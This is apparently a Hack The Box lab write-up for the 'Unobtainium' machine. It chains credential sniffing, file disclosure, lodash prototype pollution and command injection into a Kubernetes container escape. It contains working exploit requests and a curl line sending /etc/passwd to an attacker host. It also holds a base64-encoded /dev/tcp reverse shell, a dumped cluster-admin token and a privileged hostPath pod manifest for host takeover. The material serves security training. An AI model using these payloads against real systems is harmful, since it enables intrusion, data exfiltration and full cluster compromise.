
Unobtainium


Nmap Scan
As always we start with our port scan.
1└─$ sudo nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan 10.129.84.2472Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.3Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-21 12:52 BST4Nmap scan report for 10.129.84.2475Host is up (0.020s latency).6Not shown: 65527 closed ports7PORT STATE SERVICE VERSION822/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)9| ssh-hostkey:10| 3072 e4:bf:68:42:e5:74:4b:06:58:78:bd:ed:1e:6a:df:66 (RSA)11| 256 bd:88:a1:d9:19:a0:12:35:ca:d3:fa:63:76:48:dc:65 (ECDSA)12|_ 256 cf:c4:19:25:19:fa:6e:2e:b7:a4:aa:7d:c3:f1:3d:9b (ED25519)1380/tcp open http Apache httpd 2.4.41 ((Ubuntu))14|_http-server-header: Apache/2.4.41 (Ubuntu)15|_http-title: Unobtainium162379/tcp open ssl/etcd-client?17| ssl-cert: Subject: commonName=unobtainium18| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:119| Not valid before: 2021-01-17T07:10:3020|_Not valid after: 2022-01-17T07:10:3021|_ssl-date: TLS randomness does not represent time22| tls-alpn:23|_ h224| tls-nextprotoneg:25|_ h2262380/tcp open ssl/etcd-server?27| ssl-cert: Subject: commonName=unobtainium28| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:129| Not valid before: 2021-01-17T07:10:3030|_Not valid after: 2022-01-17T07:10:3031|_ssl-date: TLS randomness does not represent time32| tls-alpn:33|_ h234| tls-nextprotoneg:35|_ h2368443/tcp open ssl/https-alt37| fingerprint-strings:38| FourOhFourRequest:39| HTTP/1.0 403 Forbidden40| Cache-Control: no-cache, private41| Content-Type: application/json42| X-Content-Type-Options: nosniff43| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e3944| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd45| Date: Wed, 21 Apr 2021 11:53:23 GMT46| Content-Length: 21247| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}48| GenericLines:49| HTTP/1.1 400 Bad Request50| Content-Type: text/plain; charset=utf-851| Connection: close52| Request53| GetRequest:54| HTTP/1.0 403 Forbidden55| Cache-Control: no-cache, private56| Content-Type: application/json57| X-Content-Type-Options: nosniff58| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e3959| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd60| Date: Wed, 21 Apr 2021 11:53:23 GMT61| Content-Length: 18562| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}63| HTTPOptions:64| HTTP/1.0 403 Forbidden65| Cache-Control: no-cache, private66| Content-Type: application/json67| X-Content-Type-Options: nosniff68| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e3969| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd70| Date: Wed, 21 Apr 2021 11:53:23 GMT71| Content-Length: 18972|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}73|_http-title: Site doesn't have a title (application/json).74| ssl-cert: Subject: commonName=minikube/organizationName=system:masters75| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.129.84.247, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.176| Not valid before: 2021-04-20T11:42:3177|_Not valid after: 2022-04-21T11:42:3178|_ssl-date: TLS randomness does not represent time79| tls-alpn:80| h281|_ http/1.18210250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)83|_http-title: Site doesn't have a title (text/plain; charset=utf-8).84| ssl-cert: Subject: commonName=unobtainium@161086542885| Subject Alternative Name: DNS:unobtainium86| Not valid before: 2021-01-17T05:37:0887|_Not valid after: 2022-01-17T05:37:0888|_ssl-date: TLS randomness does not represent time89| tls-alpn:90| h291|_ http/1.19210256/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)93|_http-title: Site doesn't have a title (text/plain; charset=utf-8).9431337/tcp open http Node.js Express framework95| http-methods:96|_ Potentially risky methods: PUT DELETE97|_http-title: Site doesn't have a title (application/json; charset=utf-8)
A lot of ports open, lets summarise.
Port | Description |
---|---|
22 | |
80 | HTTP Server |
2379 | etcd-client |
2380 | etcd-client |
8443 | ? |
10249, 10250, 10256 | ? |
32337 | Unobtainium chat |
Port 80
Opening the machines IP in browser we can see a simple website. It describes a chat application and provides us with a few downloads and a txt files containing checksums. A quick scan of the website html source shows nothing interesting.
I’m on Kali so I downloaded the .deb version for analysis.

http://10.129.84.247/downloads/checksums.txt
1c9fe8a2bbc66290405803c3d4a37cf28 unobtainium_1.0.0_amd64.deb2d61b48f165dab41af14c49232975f6a1 unobtainium_1.0.0_amd64.snap39e35724c18f9f98192f0412c89ba54c7 unobtainium-1.0.0.x86_64.rpm
Inspecting the Application
After downloading the package I unzipped it like so:

We can now extract the files from the .deb package using dpkg-deb
.
1┌──(dan㉿kali)-[~/HacktheBox/unobtainium]2└─$ mkdir extracted-deb3
4┌──(dan㉿kali)-[~/HacktheBox/unobtainium]5└─$ dpkg-deb -xv unobtainium_1.0.0_amd64.deb ./extracted-deb6./7./usr/8./usr/share/9./usr/share/icons/10./usr/share/icons/hicolor/11./usr/share/icons/hicolor/32x32/12./usr/share/icons/hicolor/32x32/apps/13./usr/share/icons/hicolor/32x32/apps/unobtainium.png14./usr/share/icons/hicolor/48x48/15./usr/share/icons/hicolor/48x48/apps/16./usr/share/icons/hicolor/48x48/apps/unobtainium.png17./usr/share/icons/hicolor/256x256/18./usr/share/icons/hicolor/256x256/apps/19./usr/share/icons/hicolor/256x256/apps/unobtainium.png20./usr/share/icons/hicolor/128x128/21./usr/share/icons/hicolor/128x128/apps/22./usr/share/icons/hicolor/128x128/apps/unobtainium.png23./usr/share/icons/hicolor/64x64/24./usr/share/icons/hicolor/64x64/apps/25./usr/share/icons/hicolor/64x64/apps/unobtainium.png26./usr/share/icons/hicolor/16x16/27./usr/share/icons/hicolor/16x16/apps/28./usr/share/icons/hicolor/16x16/apps/unobtainium.png29./usr/share/applications/30./usr/share/applications/unobtainium.desktop31./usr/share/doc/32./usr/share/doc/unobtainium/33./usr/share/doc/unobtainium/changelog.gz34./opt/35./opt/unobtainium/36./opt/unobtainium/libvulkan.so37./opt/unobtainium/chrome_100_percent.pak38./opt/unobtainium/unobtainium39./opt/unobtainium/libffmpeg.so40./opt/unobtainium/snapshot_blob.bin41./opt/unobtainium/v8_context_snapshot.bin42./opt/unobtainium/vk_swiftshader_icd.json43./opt/unobtainium/LICENSE.electron.txt44./opt/unobtainium/locales/45./opt/unobtainium/locales/th.pak46./opt/unobtainium/locales/da.pak47./opt/unobtainium/locales/gu.pak48./opt/unobtainium/locales/ro.pak49./opt/unobtainium/locales/it.pak50./opt/unobtainium/locales/fil.pak51./opt/unobtainium/locales/fi.pak52./opt/unobtainium/locales/ml.pak53./opt/unobtainium/locales/hu.pak54./opt/unobtainium/locales/id.pak55./opt/unobtainium/locales/zh-CN.pak56./opt/unobtainium/locales/bg.pak57./opt/unobtainium/locales/hi.pak58./opt/unobtainium/locales/sk.pak59./opt/unobtainium/locales/fr.pak60./opt/unobtainium/locales/mr.pak61./opt/unobtainium/locales/et.pak62./opt/unobtainium/locales/kn.pak63./opt/unobtainium/locales/ar.pak64./opt/unobtainium/locales/he.pak65./opt/unobtainium/locales/sv.pak66./opt/unobtainium/locales/en-GB.pak67./opt/unobtainium/locales/cs.pak68./opt/unobtainium/locales/te.pak69./opt/unobtainium/locales/el.pak70./opt/unobtainium/locales/pt-PT.pak71./opt/unobtainium/locales/hr.pak72./opt/unobtainium/locales/ru.pak73./opt/unobtainium/locales/ca.pak74./opt/unobtainium/locales/es.pak75./opt/unobtainium/locales/sw.pak76./opt/unobtainium/locales/uk.pak77./opt/unobtainium/locales/fa.pak78./opt/unobtainium/locales/ko.pak79./opt/unobtainium/locales/es-419.pak80./opt/unobtainium/locales/vi.pak81./opt/unobtainium/locales/lv.pak82./opt/unobtainium/locales/zh-TW.pak83./opt/unobtainium/locales/pl.pak84./opt/unobtainium/locales/pt-BR.pak85./opt/unobtainium/locales/sl.pak86./opt/unobtainium/locales/nl.pak87./opt/unobtainium/locales/ja.pak88./opt/unobtainium/locales/sr.pak89./opt/unobtainium/locales/am.pak90./opt/unobtainium/locales/bn.pak91./opt/unobtainium/locales/ms.pak92./opt/unobtainium/locales/nb.pak93./opt/unobtainium/locales/tr.pak94./opt/unobtainium/locales/de.pak95./opt/unobtainium/locales/ta.pak96./opt/unobtainium/locales/en-US.pak97./opt/unobtainium/locales/lt.pak98./opt/unobtainium/chrome-sandbox99./opt/unobtainium/libEGL.so100./opt/unobtainium/resources/101./opt/unobtainium/resources/app.asar102./opt/unobtainium/chrome_200_percent.pak103./opt/unobtainium/libGLESv2.so104./opt/unobtainium/swiftshader/105./opt/unobtainium/swiftshader/libEGL.so106./opt/unobtainium/swiftshader/libGLESv2.so107./opt/unobtainium/resources.pak108./opt/unobtainium/icudtl.dat109./opt/unobtainium/LICENSES.chromium.html110./opt/unobtainium/libvk_swiftshader.so111
112┌──(dan㉿kali)-[~/HacktheBox/unobtainium]113└─$ cd extracted-deb114
115┌──(dan㉿kali)-[~/HacktheBox/unobtainium/extracted-deb]116└─$ cd opt117
118┌──(dan㉿kali)-[~/HacktheBox/unobtainium/extracted-deb/opt]119└─$ ls120unobtainium
We can find an executable for the application in: extracted-deb/opt/unobtainium

Let’s try running it and see what happens.
1┌──(dan㉿kali)-[~/…/unobtainium/extracted-deb/opt/unobtainium]2└─$ ./unobtainium3(node:345446) electron: The default of contextIsolation is deprecated and will be changing from false to true in a future release of Electron. See https://github.com/electron/electron/issues/23506 for more information
Looks like it launches an electron app, but we get an error: Unable to reach unobtainium.htb

We need to update our /etc/hosts
file.

After playing around and testing things a bit it seems like the only functionality implemented is the UI
, message log
, and post messages
function. There is a Todo screen with the following:

Message log displays messages in JSON
1[{"icon":"__","text":"test","id":1,"timestamp":1619018632376,"userName":"felamos"},{"icon":"__","text":"todo","id":2,"timestamp":1619018759017,"userName":"felamos"}]
We enumerate a possible username from this: felamos
Sniffing Credentials
Let’s try sniffing the requests with Wireshark
for anything interesting.

Perfect. Looks like we captured a POST
request that sends credentials in plaintext. Let’s note what we have gathered:
name: felamos password: Winter2021 host: unobtainium.htb:31337 URI: http://unobtainium.htb:31337/todo filename: todo.txt
We’ve gained credentials, and an endpoint we can try to exploit. As we can see in the request the application is sending a POST request which passes a filename as an argument. If the backend is reading files then we can test it for LFI (local file inclusion) vulnerabilities.
Exploiting Todo
Adding the request to Burpsuite repeater
we can experiment and try to discover more.
1POST /todo HTTP/1.12Host: unobtainium.htb:313373User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.364Accept: */*5Content-Type: application/json6Content-Length: 737Connection: close8
9{10 "auth":{11 "name":"felamos",12 "password":"Winter2021"13 },14 "filename":"todo.txt"15}
We can successfully send a request for the todo.txt
. Let’s try for some other things. I tested for /etc/passwd
, user.txt
, todox.txt
, and blank
.
It seems the server doesn’t give a response unless the file exists or no parameter is supplied. With a blank filename we get the following:
1Error: ENOENT: no such file or directory, open<br> at Object.openSync (fs.js:476:3)<br> at Object.readFileSync (fs.js:377:35)<br> at /usr/src/app/index.js:86:41<br> at Array.forEach (<anonymous>)<br> at /usr/src/app/index.js:84:36<br> at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)<br> at next (/usr/src/app/node_modules/express/lib/router/route.js:137:13)<br> at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:112:3)<br> at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)<br> at /usr/src/app/node_modules/express/lib/router/index.js:281:22
We get a little information on where the app lives /usr/src/app/index.js
alongside knowing it is JavaScript
backend. We can try grabbing the package.json
and looking for what dependences the server is using - this may lead to something we can exploit!
Success!
1{2 "name": "Unobtainium-Server",3 "version": "1.0.0",4 "description": "API Service for Electron client",5 "main": "index.js",6 "scripts": {7 "start": "node index.js"8 },9 "author": "felamos",10 "license": "ISC",11 "dependencies": {12 "body-parser": "1.18.3",13 "express": "4.16.4",14 "lodash": "4.17.4",15 "google-cloudstorage-commands": "0.0.1"16 },17 "devDependencies": {}18}
Let’s look for some CVE’s
Affected versions of this package are vulnerable to Command Injection.
1var root = require("google-cloudstorage-commands");2root.upload("./","& touch JHU", true);
lodash has a number of possible vulnerabilities so lets see if we can get a bit more out of our LFI.
1POST /todo HTTP/1.12Host: unobtainium.htb:313373User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.364Accept: */*5Content-Type: application/json6Content-Length: 927Connection: close8
9{10 "auth":{11 "name":"felamos",12 "password":"Winter2021"13 },14 "filename":"index.js"15}
1app.put("/", (req, res) => {2 const user = findUser(req.body.auth || {})3
4 if (!user) {5 res.status(403).send({ ok: false, error: "Access denied" })6 return7 }8
9 const message = {10 icon: "__"11 }12
13 _.merge(message, req.body.message, {14 id: lastId++,15 timestamp: Date.now(),16 userName: user.name17 })18
19 messages.push(message)20 res.send({ ok: true })21})
1app.post("/upload", (req, res) => {2 const user = findUser(req.body.auth || {})3 if (!user || !user.canUpload) {4 res.status(403).send({ ok: false, error: "Access denied" })5 return6 }7
8 filename = req.body.filename9 root.upload("./", filename, true)10 res.send({ ok: true, Uploaded_File: filename })11})
Grabbing the index.js
gives us something to work with. We can see there is an /upload
endpoint and also a PUT
request that uses lodash’s merge()
. Looks like there’s a CVE for that: https://snyk.io/vuln/SNYK-JS-LODASH-73638
Together we have a prototype pollution and a command injection vulnerability. We could try using the lodash vuln to enable uploads and then the google-cloudstorage-commands vuln to upload a reverse shell? Let’s give it a try,
https://github.com/Kirill89/prototype-pollution-explained
Kirill89 demonstrates a PoC for this exact lodash vulnerability - we just modify the payload to:
1"__proto__":{2 "canUpload":true,3 "canDelete":true,4}
1PUT / HTTP/1.12Host: unobtainium.htb:313373User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.364Accept: */*5Content-Type: application/json6Content-Length: 1577Connection: close8
9{10 "auth":{11 "name":"felamos",12 "password":"Winter2021"13 },14"message":{15 "text": "boop",16 "__proto__":{17 "canUpload":true,18 "canDelete":true19 }20 }21}
1HTTP/1.1 200 OK2X-Powered-By: Express3Content-Type: application/json; charset=utf-84Content-Length: 115ETag: W/"b-Ai2R8hgEarLmHKwesT1qcY913ys"6Date: Wed, 21 Apr 2021 19:47:58 GMT7Connection: close8
9{"ok":true}
Next lets try exploiting the RCE, looking through the index.js source we can see it takes a filename parameter and returns the same filename if successful. This means we need to craft our payload to send us the confirmation. We’ll setup a HTTP server
with updog
.

Then we run our attack by POST
to the /upload
endpoint.
1POST /upload HTTP/1.12Host: unobtainium.htb:313373User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.364Accept: */*5Content-Type: application/json6Content-Length: 1407Connection: close8
9{10 "auth":{11 "name":"felamos",12 "password":"Winter2021"13 },14 "filename":"& curl http://10.10.14.90:1234/$(cat /etc/passwd|base64)"15}

Success
1root:x:0:0:root:/root:/bin/bash2daemon:x:1:1:daemon:/usr/
Looks like it works. Now lets setup a pwncat
listener and send our reverse shell command
1┌──(dan㉿kali)-[~/HacktheBox/unobtainium]2└─$ echo "bash -c 'bash -i >& /dev/tcp/10.10.14.90/4444 0>&1'" | base643YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45MC80NDQ0IDA+JjEnCg==
1echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45MC80NDQ0IDA+JjEnCg== | base64 -d | bash 2>/dev/null

listen for connection

send exploit

success!
We can the get our user flag!

The fact we got our user flag as root is an obvious indicator that we are in a container. Now we try some enumeration with LinEnum
.





Looks like we are in kubernetes
and there’s an interesting cron job
:
1find / -name kubectl -exec rm {} \;
Looks like this cron
is looking for any instances of kubectl
- this is the command line tool used to control K8’s clusters. Assuming the reason for this cron
is to prevent us from using this tool it makes sense that we should try to circumvent that. https://kubernetes.io/docs/reference/kubectl/overview/
We could do this by uploading a kubectl
binary with a different name.
Download kubectl to our local machine:
curl -LO "[https://dl.k8s.io/release/$](https://dl.k8s.io/release/$)(curl -L -s [https://dl.k8s.io/release/stable.txt](https://dl.k8s.io/release/stable.txt))/bin/linux/amd64/kubectl"

Then download it from our HTTP server

Now we try enumerate some:


1root@webapp-deployment-5d764566f4-lrpt9:~# ./kc describe pods devnode-deployment-cd86fb5c-6ms8d -n dev2<cribe pods devnode-deployment-cd86fb5c-6ms8d -n dev3Name: devnode-deployment-cd86fb5c-6ms8d4Namespace: dev5Priority: 06Node: unobtainium/10.129.84.2477Start Time: Sun, 17 Jan 2021 18:16:21 +00008Labels: app=devnode9 pod-template-hash=cd86fb5c10Annotations: <none>11Status: Running12IP: 172.17.0.913IPs:14 IP: 172.17.0.915Controlled By: ReplicaSet/devnode-deployment-cd86fb5c16Containers:17 devnode:18 Container ID: docker://02cef9140779577493c9f48fcf1fde47c4f4085cdab7607ea52ec4ac898cd27819 ogImage: localhost:5000/node_server20 Image ID: docker-pullable://localhost:5000/node_server@sha256:f3bfd2fc13c7377a380e018279c6e9b647082ca590600672ff787e1bb918e37c21 Port: 3000/TCP22 Host Port: 0/TCP23 State: Running24 Started: Wed, 21 Apr 2021 11:43:07 +000025 Last State: Terminated26 Reason: Error27 Exit Code: 13728 Started: Wed, 24 Mar 2021 10:43:09 +000029 Finished: Wed, 24 Mar 2021 10:48:20 +000030 Ready: True31 Restart Count: 2732 Environment: <none>33 Mounts:34 /var/run/secrets/kubernetes.io/serviceaccount from default-token-rmcd6 (ro)35Conditions:36 Type Status37 Initialized True38 Ready True39 ContainersReady True40 PodScheduled True41Volumes:42 default-token-rmcd6:43 Type: Secret (a volume populated by a Secret)44 SecretName: default-token-rmcd645 Optional: false46QoS Class: BestEffort47Node-Selectors: <none>48Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s49 node.kubernetes.io/unreachable:NoExecute op=Exists for 300s50Events: <none>
After checking things it seems like we are in a different environment, we are in production running our commands against the dev environment. So we can use the same attack we did before to gain a foothold. I setup another pwncat listener on a differ port then ran the previous exploit commands from our current shell against the local IP using curl:
1curl 172.17.0.9:3000/ -XPUT -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":"x","__proto__":{"canUpload":true}}}' -H "Content-Type: application/json"
1curl 172.17.0.9:3000/upload -XPOST -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45MC81NTU1IDA+JjEnCg== | base64 -d | bash 2>/dev/null"}' -H "Content-Type: application/json"

Success!
We can repeat the process of getting kubectl
.

Looks like we can now dump the secrets.

Notice the c-admin-token-tfmp2
this is the cluster admin secret!
1root@devnode-deployment-cd86fb5c-6ms8d:~# ./kc describe secrets/c-admin-token-tfmp2 -n kube-system2<describe secrets/c-admin-token-tfmp2 -n kube-system3Name: c-admin-token-tfmp24Namespace: kube-system5Labels: <none>6Annotations: kubernetes.io/service-account.name: c-admin7 kubernetes.io/service-account.uid: 2463505f-983e-45bd-91f7-cd59bfe066d08
9Type: kubernetes.io/service-account-token10
11Data12====13token: eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow14ca.crt: 1066 bytes15namespace: 11 bytes
Check if we can create pods.

Now that we can create pods lets do some research on how to abuse this, if we can create a malicious pod perhaps that’s our path to real root…
Quick Google brings up badPods: https://github.com/BishopFox/badPods
Let’s go with option 1 - Everything Allowed due to us having the cluster admin secret - https://github.com/BishopFox/badPods/tree/main/manifests/everything-allowed
Download the yaml
to our local machine and edit it, then following the badpods method we create our pod then execute on it to get our root flag!

1apiVersion: v12kind: Pod3metadata:4 name: everything-allowed-exec-pod5 namespace: default6spec:7 hostNetwork: true8 hostPID: true9 hostIPC: true10 containers:11 - name: everything-allowed-pod12 ogImage: http://localhost:5000/dev-alpine13 securityContext:14 privileged: true15 volumeMounts:16 - mountPath: /host17 name: noderoot18 command: ["/bin/sh", "-c", "--"]19 args: ["while true; do sleep 30; done;"]20 #nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name21 volumes:22 - name: noderoot23 hostPath:24 path: /
1./kc --token eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow apply -f everything-allowed-exec-pod.yaml
1./kc --token eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow -n default exec -it everything-allowed-exec-pod -- chroot /host bash

This blog post is part of a series on practical approaches to cybersecurity. Stay tuned for more updates and insights into the fascinating world of ethical hacking and cybersecurity best practices.
In the following posts, we will delve deeper into the exploitation phase, demonstrating techniques such as privilege escalation, lateral movement, and persistence.
Stay safe, and happy hacking!
Note: This blog is for educational purposes only. Attempting unauthorised penetration testing is illegal and punishable by law. Always get explicit permission before performing any penetration testing.